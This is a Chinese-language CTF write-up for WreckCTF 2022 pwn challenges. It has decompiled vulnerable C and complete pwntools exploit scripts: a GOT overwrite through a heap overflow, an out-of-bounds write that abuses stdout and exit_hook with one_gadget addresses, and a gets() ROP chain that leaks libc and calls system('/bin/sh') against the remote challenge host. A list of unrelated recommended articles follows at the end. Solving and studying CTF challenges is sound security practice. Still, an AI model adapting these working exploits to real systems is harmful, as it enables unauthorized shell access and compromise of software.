#p = process('./pwn')elf = ELF('./pwn')context(arch='amd64', log_level = 'debug')def push(msg):p.sendlineafter(b"> ", b'1')p.sendlineafter(b"> ", msg)def pop():p.sendlineafter(b"> ", b'2')def edit(idx, msg):p.sendlineafter(b"> ", b'3')p.sendlineafter(b"> ", str(idx).encode())p.sendlineafter(b"> ", msg)def show(idx):p.sendlineafter(b"> ", b'4')p.sendlineafter(b"> ", str(idx).encode())push(b'/bin/sh')
push(b'/bin/sh')
push(b'/bin/sh')
pop()
edit(0, b'A'*0x40+ flat(0x51, elf.got['free']))
show(2)libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420 #0x80ed0
print(hex(libc_base))system = libc_base + 0x52290 #0x50d60edit(0, b'A'*0x40+ flat(0x51, elf.got['atoi']-8))  #
edit(2, p64(system))
p.sendlineafter(b'> ', b'/bin/sh')p.interactive()#flag{queues_are_better_than_stacks}

secret-note 仅本地完成

先固定生成4个块,然后只有写命令。但写的时候指针可以前越界,这样可以写到stdout在得到libc然后通过写-11处指向自己的指针,向exit_hook写one

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int v3; // eaxint i; // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v6; // [rsp+18h] [rbp-8h]v6 = __readfsqword(0x28u);setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);for ( i = 0; i <= 3; ++i ){notes[i] = malloc(0x100uLL);if ( !notes[i] ){perror("malloc");exit(1);}}while ( 1 ){while ( 1 ){print_menu();read(0, buf, 8uLL);v3 = atoi(buf);if ( v3 != 1 )break;write_note();}if ( v3 == 2 )exit(0);puts("invalid choice!");}
}
unsigned __int64 write_note()
{int v1; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("note index: ");read(0, buf, 8uLL);v1 = atoi(buf);if ( v1 > 3 )                                 // 前越界{puts("invalid index!");exit(1);}printf("note content: ");read(0, (void *)notes[v1], 0x100uLL);return __readfsqword(0x28u) ^ v3;
}

本地测试成功程序,这题最后有2大神解出。不知道什么方法。

from pwn import *#p = remote('challs.wreckctf.com', 31857)
p = process('./pwn')#patchelf --add-needed /home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so pwn
#patchelf --set-interpreter /home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so pwnelf = ELF('./pwn')
libc_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
ld_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so')
context(arch='amd64', log_level = 'debug')def edit(idx, msg):p.sendlineafter(b"> ", b'1')p.sendlineafter(b"note index: ", str(idx).encode())p.sendafter(b"note content: ", msg)#2.31 1ec980
#2.27 3ed8b0
edit(-8, p64(0xFBAD1800)+ p64(0)*3 + p8(0))
p.recv(8)
libc_base = u64(p.recv(8)) - 0x3ed8b0
libc_elf.address = libc_base
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]#local exit_hook one[2]
exit_hook = libc_base+0x619060+3848edit(-8, p64(0xFBAD2887))edit(-11, p64(exit_hook))
edit(-11, p64(libc_base + one[2])) #local 2edit(1, b'aaa')
p.sendlineafter(b"> ", b'2')p.interactive()

file-note 未解出

crosland-seven

一句话程序不说了gets

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(_bss_start, 0LL);puts("Welcome to Crosland Tower, what will you be studying today?");gets();puts("okay, good luck!");return 0;
}
from pwn import *p = remote('challs.wreckctf.com', 31789)
#p = process('./pwn')elf = ELF('./pwn')
libc_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
context(arch='amd64', log_level = 'debug')pop_rdi = 0x0000000000401233 # pop rdi ; ret
pop_rsi = 0x0000000000401231 # pop rsi ; pop r15 ; ret#gdb.attach(p, 'b*0x4011ba')
#pause()pay = b'A'*64 + flat(0, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['_start'])
p.sendlineafter(b'?\n', pay)
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420 #0x80ed0 #
system = libc_base + 0x52290 #0x50d60 #
bin_sh = libc_base + 0x1b45bd #0x1d8698 #
print(hex(libc_base))pay = b'A'*64 + flat(0, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['_start'])
p.sendlineafter(b'?\n', pay)p.interactive()#flag{9ea9ae5235772a7e9c4d28bb92ac206c}

[WRECKCTF 2022] crypto,reverse,pwn部分WP相关推荐

  1. 赛题类型 Web、Crypto、Pwn、Reverse、Misc 各是指什么意思?

    赛题类型 Web.Crypto.Pwn.Reverse.Misc 各是指什么意思? 一般我们在参加一些"网络安全技能大赛"的时候,都会出现"Web.Crypto.Pwn. ...

  2. 2022 *CTF REVERSE的Simple File System

    2022 *CTF REVERSE的Simple File System . . 下载附件,有四个文件: . . 照例扔入虚拟机中运行一下,查看主要回显信息: . . 照例扔入 IDA64 中查看伪代 ...

  3. TAMU ctf pwn部分wp+赛后

    TAMU ctf pwn部分wp 国外的题目,终端连不上就很gan ga...... Tr*vial 大水题,栈溢出,ret2text exp from pwn import *context(arc ...

  4. 2022 *CTF REVERSE 的 NaCl

    2022 *CTF REVERSE 的 NaCl 下载附件: . . 照例扔入 exeinfope 中查看信息: . . 照例扔入虚拟机中运行一下,查看主要回显信息: . . 照例扔入 IDA64 中 ...

  5. [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp

    [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp 文章目录 [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglemen ...

  6. [DownUnderCTF 2022] crypto部分复现

    一个良心的比赛,赛完后给出wp,都是挺好的题,有必要都试一下 1 baby-arx 签到题,直接给了加密算法和密文,逐位的进行异或移位操作,这个东西都可以爆破 class baby_arx():def ...

  7. [Geek Challenge 2022] crypto部分

    这个比赛是一个网友让我看看的,这个比赛很有意思,crypto题全是百度网盘,pwn题全是谷歌网盘,这样我这pwn题就基本over了.还好这些crypto都不怎么难,都答出来了.最后成绩到10名了. w ...

  8. [ASIS 2022] crypto部分

    目录 1, Binned 2,Chaffymasking 3,Mariana 4,Mindseat 5,Disinvolute 6,Desired curve 只作了两个,这题居然有人这么短时间就写了 ...

  9. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

最新文章

  1. Android Studio使用总结
  2. Spring MVC中处理Request和Response的策略
  3. java整数四则运算课设_用面向对象方法设计实现整数的四则运算(java)
  4. Pytorch中BN层入门思想及实现
  5. 微信小程序云函数传递数组_微信小程序云开发一周入门
  6. 《HTTP权威指南》– 6.代理
  7. 极点五笔linux,Ubuntu 11.10安装极点五笔
  8. yy开播特效软件小猫虚拟换肤自定义背景衣服DIY
  9. 海量数据,3行Python代码直接获取!
  10. 有云说 | 直播火爆的真正原因是什么?
  11. SSD、DSSD算法详解
  12. Servlet - Filtering (过滤器))
  13. HTML+CSS+JS实现 ❤️ 科技感的数字时钟特效❤️
  14. nyoj325 zb的生日 DFS
  15. knx智能照明控制系统电路图_智能照明控制模块 knx智能操作面板GD-8L-16AC
  16. jconsole远程连接linux,使用jconsole远程连接linux监控jvm
  17. 解决AndroidManifest.xml文件反编译失败
  18. 2023上半年软考中级报名-系统集成项目管理工程师
  19. 【wordpress】wordpress插件之自动采集发布工具
  20. linux设置vpn客户端,centos下安装vpn客户端

热门文章

  1. C++获取当前时间(北京时间)
  2. pycharm好看的主题配色及字体设置
  3. gluoncv voc_detection
  4. Python基础(二)完结
  5. 流程DEMO-付款申请单
  6. 大型旅游景区指挥调度通信系统解决方案
  7. 功率放大器如何进行阻抗匹配测试工作原理
  8. 《市场营销》的读后感作文3000字
  9. CSharp(C#)语言_委托和事件区别详解
  10. ctfshow 反序列化篇(下)